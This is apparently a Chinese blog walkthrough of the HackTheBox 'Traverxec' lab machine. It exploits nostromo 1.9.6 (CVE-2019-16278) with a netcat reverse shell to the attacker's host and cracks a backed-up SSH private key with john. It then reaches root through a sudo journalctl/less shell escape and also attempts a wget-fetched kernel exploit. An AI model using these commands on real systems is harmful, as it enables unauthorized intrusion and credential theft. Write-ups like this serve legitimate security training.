来自:一言
var xhr = new XMLHttpRequest(); xhr.open('get', 'https://v1.hitokoto.cn/'); xhr.onreadystatechange = function () { if (xhr.readyState === 4) { var data = JSON.parse(xhr.responseText); var hitokoto = document.getElementById('hitokoto'); hitokoto.innerText = data.hitokoto; } } xhr.send();
HackTheBox官网:https://www.hackthebox.eu
简单的记录一下渗透过程 目标ip:10.10.10.165
1.使用nmap对目标进行端口扫描
nmap -sC 10.10.10.165
(发现目标开启了ssh服务和web服务) web页面打开如下:
使用 skipfish对目标的目录进行扫描
skipfish -o text http://10.10.10.165/
(ps:进过一番查找,并没有在web页面发现什么有用的信息~)
Whatweb是一个基于Ruby语言的开源网站指纹识别软件,正如它的名字一样,whatweb能够识别各种关于网站的详细信息包括:CMS类型、博客平台、中间件、web框架模块、网站服务器、脚本类型、JavaScript库、IP、cookie等。
whatweb http://10.10.10.165/
温馨提示
通过扫描可以得知该站点运行在[nostromo 1.9.6]上的.
然后通过百度了解到nostromo 1.9.6存在远程命令执行漏洞. 漏洞编号为:CVE-2019-16278 exp地址:https://github.com/jas502n/CVE-2019-16278
bash CVE-2019-16278.sh 10.10.10.165 80 nc -c bash 10.10.14.94 444
远程执行命令,使用nc反弹shell到本机的444端口.
成功反弹shell,权限是www
由于反弹的终端不好操作,所以用python把bash终端反弹出来,命令如下:
python -c 'import pty;pty.spawn("/bin/bash")'
1.通过cat /etc/passwd 发现该服务器上还存在这一个david用户,通过web界面我们可以知道david应该就是服务器的管理员了.
2.但是我们进入david目录,发现没有权限查看~
3.然后由于站点运行在[nostromo]上的,所以我们可以查看一下它的配置文件
cat /var/nostromo/conf/nhttpd.conf
4.然后发现david目录下还有个public_www目录,应该就是存放web文件的目录了.,我们可以试试cd进去看看.
(成功进入~) 5.发现protected-file-area目录下有个备份文件backup-ssh-identity-files.tgz,(看名字应该是ssh密钥的备份文件~),但是直接解压不了,会提示如下.
6.所以我们试着将他复制出来,然后再解压.
cp backup-ssh-identity-files.tgz /tmp
7.解压文件
tar -zxvf backup-ssh-identity-files.tgz
(果然把david用户的ssh密钥解压出来了~注意:是解压到当前目录的) 8.发现用户私钥.如下图
9.使用ssh2john.py将密钥信息转换为john可识别信息,对私钥进行破解
python /usr/share/john/ssh2john.py david_rsa > rsacrack
john rsacrack
10.破解成功了,加密的私钥密码为:hunter 然后使用密钥去连接目标主机
11.查看user.txt 成功拿到flag
1.查看linux内核版本尝试内核提权
版本号为:Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64 GNU/Linux 尝试使用cve-2019-13272进行内核提权.地址:https://github.com/NHPT/CVE-Exploit-Script/tree/master/CVE-2019-13272 2.在kali上利用python3开启一个简单的web服务
python3 -m http.server 8899
3.在目标主机上通过wget下载提权脚本
4.执行的时候提权失败,没有命令权限~~
1.通过查看该用户目录下,发现有个bin文件夹,里面有个可执行的脚本,内容如下:
2.发现最后一行用sudo(root权限)执行了一个journalctl命令。 关于该命令的说明:journalctl 用来查询 systemd-journald 服务收集到的日志。systemd-journald 服务是 systemd init 系统提供的收集系统日志的服务。 然后执行以下命令。
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/less
3.然后输入!sh进入命令模式
(成功获取root权限!) 4.获取root.txt拿到flag
find / -name root.txt
总的来说,花了4个多小时才搞定,在ssh私钥破解哪儿卡住了,遇到好多坑,我真的太菜了!菜哭,弄的快吐了都。